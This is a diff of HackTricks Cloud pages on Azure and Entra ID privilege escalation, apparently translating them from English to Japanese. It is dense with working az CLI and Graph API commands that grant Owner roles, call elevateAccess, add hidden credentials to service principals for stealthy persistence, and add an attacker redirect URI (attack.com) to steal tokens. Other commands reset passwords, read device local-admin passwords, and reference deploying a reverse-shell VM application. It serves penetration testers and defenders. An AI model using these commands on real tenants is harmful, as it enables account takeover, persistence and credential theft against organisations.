```bash
|
||||
## List all VM applications inside a gallery
|
||||
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
|
||||
```
|
||||
|
||||
2. Install the extension in a VM and **search for sensitive info**
|
||||
|
||||
2. VMに拡張機能をインストールし、**機密情報を検索**します。
|
||||
```bash
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# Az - Privilege Escalation
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Az - 権限昇格
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Services
|
||||
|
||||
For more information about Azure App services check:
|
||||
Azure Appサービスに関する詳細情報は、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-service.md
|
||||
@@ -12,17 +12,14 @@ For more information about Azure App services check:
|
||||
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, 
|
||||
|
||||
These permissions allows to call the following commands to get a **SSH shell** inside a web app
|
||||
|
||||
- Direct option:
|
||||
これらの権限により、ウェブアプリ内で**SSHシェル**を取得するために以下のコマンドを呼び出すことができます。
|
||||
|
||||
- 直接オプション:
|
||||
```bash
|
||||
# Direct option
|
||||
az webapp ssh --name <name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
- Create tunnel and then connect to SSH:
|
||||
|
||||
- トンネルを作成し、次にSSHに接続します:
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
|
||||
@@ -35,9 +32,4 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
|
||||
ssh root@127.0.0.1 -p 39895
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure IAM
|
||||
|
||||
Fore more information check:
|
||||
詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-azuread.md
|
||||
@@ -12,45 +12,38 @@ Fore more information check:
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
|
||||
|
||||
この権限は、特定のスコープに対してプリンシパルに役割を割り当てることを許可し、攻撃者が自分自身により特権のある役割を割り当てることで権限を昇格させることを可能にします:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
|
||||
|
||||
Create the file `role.json` with the following **content**:
|
||||
この権限は、ロールによって付与された権限を変更することを許可し、攻撃者が自分に割り当てられたロールに対してより多くの権限を付与することで特権を昇格させることを可能にします。
|
||||
|
||||
次の**内容**で`role.json`ファイルを作成します:
|
||||
```json
|
||||
{
|
||||
"Name": "<name of the role>",
|
||||
"IsCustom": true,
|
||||
"Description": "Custom role with elevated privileges",
|
||||
"Actions": ["*"],
|
||||
"NotActions": [],
|
||||
"DataActions": ["*"],
|
||||
"NotDataActions": [],
|
||||
"AssignableScopes": ["/subscriptions/<subscription-id>"]
|
||||
"Name": "<name of the role>",
|
||||
"IsCustom": true,
|
||||
"Description": "Custom role with elevated privileges",
|
||||
"Actions": ["*"],
|
||||
"NotActions": [],
|
||||
"DataActions": ["*"],
|
||||
"NotDataActions": [],
|
||||
"AssignableScopes": ["/subscriptions/<subscription-id>"]
|
||||
}
|
||||
```
|
||||
|
||||
Then update the role permissions with the previous definition calling:
|
||||
|
||||
その後、前の定義を呼び出して役割の権限を更新します:
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
|
||||
この権限は、特権を昇格させ、任意のプリンシパルにAzureリソースへの権限を割り当てることを可能にします。これは、Entra IDのグローバル管理者に与えられることを意図しており、彼らがAzureリソースに対する権限を管理できるようにします。
|
||||
|
||||
> [!TIP]
|
||||
> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
|
||||
|
||||
> 昇格呼び出しが機能するためには、ユーザーがEntra IDのグローバル管理者である必要があると思います。
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -58,29 +51,22 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au
|
||||
# Grant a user the Owner role
|
||||
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
|
||||
|
||||
Example command to give access to a repo in Github to the a managed identity:
|
||||
この権限は、管理されたアイデンティティにフェデレーテッド資格情報を追加することを許可します。例えば、リポジトリ内のGithub Actionsに管理されたアイデンティティへのアクセスを付与します。次に、**ユーザー定義の管理されたアイデンティティにアクセスすることを許可します**。
|
||||
|
||||
管理されたアイデンティティにGithubのリポジトリへのアクセスを付与するための例コマンド:
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
|
||||
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
|
||||
|
||||
# Example with specific data:
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3,80 +3,71 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.**
|
||||
> **Entra ID**における組み込みロールの**すべての詳細な権限**がカスタムロールで使用できるわけではないことに注意してください。
|
||||
|
||||
## Roles
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.
|
||||
|
||||
- Assign role to a user:
|
||||
このロールには、プリンシパルにロールを割り当て、ロールにより多くの権限を与えるために必要な詳細な権限が含まれています。これらの両方のアクションは、特権を昇格させるために悪用される可能性があります。
|
||||
|
||||
- ユーザーにロールを割り当てる:
|
||||
```bash
|
||||
# List enabled built-in roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
|
||||
# Give role (Global Administrator?) to a user
|
||||
roleId="<roleId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
|
||||
- Add more permissions to a role:
|
||||
|
||||
- ロールにさらに権限を追加する:
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
|
||||
# Change the permissions of a custom role
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"description": "Update basic properties of application registrations",
|
||||
"rolePermissions": [
|
||||
{
|
||||
"allowedResourceActions": [
|
||||
"microsoft.directory/applications/credentials/update"
|
||||
]
|
||||
}
|
||||
]
|
||||
}'
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"description": "Update basic properties of application registrations",
|
||||
"rolePermissions": [
|
||||
{
|
||||
"allowedResourceActions": [
|
||||
"microsoft.directory/applications/credentials/update"
|
||||
]
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
## Applications
|
||||
## アプリケーション
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
This allows an attacker to **add credentials** (passwords or certificates) to existing applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges.
|
||||
|
||||
これにより、攻撃者は既存のアプリケーションに**資格情報**(パスワードまたは証明書)を追加できます。アプリケーションに特権のある権限がある場合、攻撃者はそのアプリケーションとして認証し、その権限を取得できます。
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
# Generate a new certificate without overwritting old ones
|
||||
az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications.
|
||||
|
||||
これは、`applications/credentials/update`と同じアクションを許可しますが、単一ディレクトリアプリケーションにスコープを限定しています。
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
By adding themselves as an owner, an attacker can manipulate the application, including credentials and permissions.
|
||||
|
||||
攻撃者は自分自身をオーナーとして追加することで、アプリケーションを操作できるようになり、資格情報や権限を含むことができます。
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -84,78 +75,66 @@ az ad app credential reset --id <appId> --append
|
||||
# You can check the owners with
|
||||
az ad app owner list --id <appId>
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
An attacker can add a redirect URI to applications that are being used by users of the tenant and then share with them login URLs that use the new redirect URL in order to steal their tokens. Note that if the user was already logged in the application, the authentication is going to be automatic without the user needing to accept anything.
|
||||
|
||||
Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions.
|
||||
攻撃者は、テナントのユーザーによって使用されているアプリケーションにリダイレクトURIを追加し、新しいリダイレクトURLを使用したログインURLを共有することで、トークンを盗むことができます。ユーザーがすでにアプリケーションにログインしている場合、認証は自動的に行われ、ユーザーが何かを承認する必要はありません。
|
||||
|
||||
アプリケーションが要求する権限を変更して、より多くの権限を取得することも可能ですが、この場合、ユーザーはすべての権限を要求するプロンプトを再度承認する必要があります。
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
|
||||
## Service Principals
|
||||
## サービスプリンシパル
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
|
||||
|
||||
これにより、攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルに昇格した権限がある場合、攻撃者はその権限を引き継ぐことができます。
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.\
|
||||
> From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
|
||||
> 新しく生成されたパスワードはウェブコンソールに表示されないため、これはサービスプリンシパルに対して持続性を維持するための隠れた方法となる可能性があります。\
|
||||
> APIからは次のコマンドで見つけることができます: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
もしエラー `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` が表示された場合、それは**SPのpasswordCredentialsプロパティを変更することはできないため**であり、最初にロックを解除する必要があります。そのためには、次のコマンドを実行するための権限(`microsoft.directory/applications/allProperties/update`)が必要です:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
|
||||
|
||||
これにより、攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルに昇格した権限がある場合、攻撃者はその権限を引き継ぐことができます。
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Similar to applications, this permission allows to add more owners to a service principal. Owning a service principal allows control over its credentials and permissions.
|
||||
|
||||
アプリケーションと同様に、この権限はサービスプリンシパルに追加のオーナーを追加することを許可します。サービスプリンシパルを所有することは、その資格情報と権限を制御することを可能にします。
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
|
||||
# You can check the owners with
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**.
|
||||
> 新しいオーナーを追加した後、削除しようとしましたが、APIはDELETEメソッドがサポートされていないと応答しました。オーナーを削除するために使用する必要があるメソッドであってもです。したがって、**現在オーナーを削除することはできません**。
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
### `microsoft.directory/servicePrincipals/disable` と `enable`
|
||||
|
||||
These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges.
|
||||
|
||||
Note that for this technique the attacker will need more permissions in order to take over the enabled service principal.
|
||||
これらの権限は、サービスプリンシパルを無効にしたり有効にしたりすることを許可します。攻撃者は、この権限を使用して、何らかの方法でアクセスできるサービスプリンシパルを有効にし、特権を昇格させることができます。
|
||||
|
||||
この技術では、攻撃者が有効にされたサービスプリンシパルを引き継ぐために、さらに多くの権限が必要であることに注意してください。
|
||||
```bash
|
||||
bashCopy code# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -163,11 +142,9 @@ az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
# Enable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications.
|
||||
|
||||
これらの権限は、シングルサインオンのための資格情報を作成および取得することを可能にし、サードパーティアプリケーションへのアクセスを許可する可能性があります。
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -175,176 +152,155 @@ user_or_group_id="<id>"
|
||||
username="<username>"
|
||||
password="<password>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
|
||||
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
|
||||
|
||||
|
||||
# Get credentials of a specific credID
|
||||
credID="<credID>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Groups
|
||||
## グループ
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
This permission allows to add users to privileged groups, leading to privilege escalation.
|
||||
|
||||
この権限は、特権グループにユーザーを追加することを許可し、特権昇格につながります。
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
**注意**: この権限は Entra ID ロール割り当てグループを除外します。
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
This permission allows to become an owner of groups. An owner of a group can control group membership and settings, potentially escalating privileges to the group.
|
||||
|
||||
この権限はグループのオーナーになることを許可します。グループのオーナーはグループのメンバーシップと設定を制御でき、グループに対して権限をエスカレートする可能性があります。
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
**注意**: この権限は Entra ID ロール割り当てグループを除外します。
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
This permission allows to add members to a group. An attacker could add himself or malicious accounts to privileged groups can grant elevated access.
|
||||
|
||||
この権限はグループにメンバーを追加することを許可します。攻撃者は自分自身や悪意のあるアカウントを特権グループに追加することで、昇格したアクセスを付与することができます。
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition.
|
||||
|
||||
この権限は、動的グループのメンバーシップルールを更新することを許可します。攻撃者は、明示的な追加なしに特権グループに自分自身を含めるために動的ルールを変更する可能性があります。
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
**注意**: この権限は Entra ID ロール割り当てグループを除外します。
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
### ダイナミックグループの特権昇格
|
||||
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check:
|
||||
ユーザーが自分のプロパティを変更してダイナミックグループのメンバーとして追加されることで、特権を昇格させることが可能な場合があります。詳細については、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
## Users
|
||||
## ユーザー
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles.
|
||||
|
||||
この権限は、非管理者ユーザーのパスワードをリセットすることを許可し、潜在的な攻撃者が他のユーザーに対して特権を昇格させることを可能にします。この権限はカスタムロールに割り当てることはできません。
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges.
|
||||
|
||||
この権限はユーザーのプロパティを変更することを許可します。プロパティ値に基づいてユーザーを追加する動的グループを見つけることは一般的であるため、この権限はユーザーが特定の動的グループのメンバーになるために必要なプロパティ値を設定し、権限を昇格させることを可能にする可能性があります。
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
managerUser="<userID>"
|
||||
az rest --method PUT \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
|
||||
|
||||
#e.g. change department of a user
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## 条件付きアクセスポリシーとMFAバイパス
|
||||
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
Misconfigured conditional access policies requiring MFA could be bypassed, check:
|
||||
MFAを要求する誤設定された条件付きアクセスポリシーはバイパスされる可能性があります。確認してください:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## Devices
|
||||
## デバイス
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
This permission allows attackers to assigning themselves as owners of devices to gain control or access to device-specific settings and data.
|
||||
|
||||
この権限は、攻撃者がデバイスの所有者として自分自身を割り当て、デバイス固有の設定やデータに対する制御またはアクセスを得ることを可能にします。
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
This permission allows attackers to associate their account with devices to gain access or to bypass security policies.
|
||||
|
||||
この権限は、攻撃者が自分のアカウントをデバイスに関連付けてアクセスを得たり、セキュリティポリシーを回避したりすることを可能にします。
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password
|
||||
|
||||
この権限は、攻撃者がMicrosoft Entraに参加したデバイスのバックアップされたローカル管理者アカウントの資格情報のプロパティを読み取ることを許可します。これにはパスワードが含まれます。
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
|
||||
|
||||
# Get credentials
|
||||
deviceLC="<deviceLCID>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
|
||||
```
|
||||
|
||||
## BitlockerKeys
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality.
|
||||
|
||||
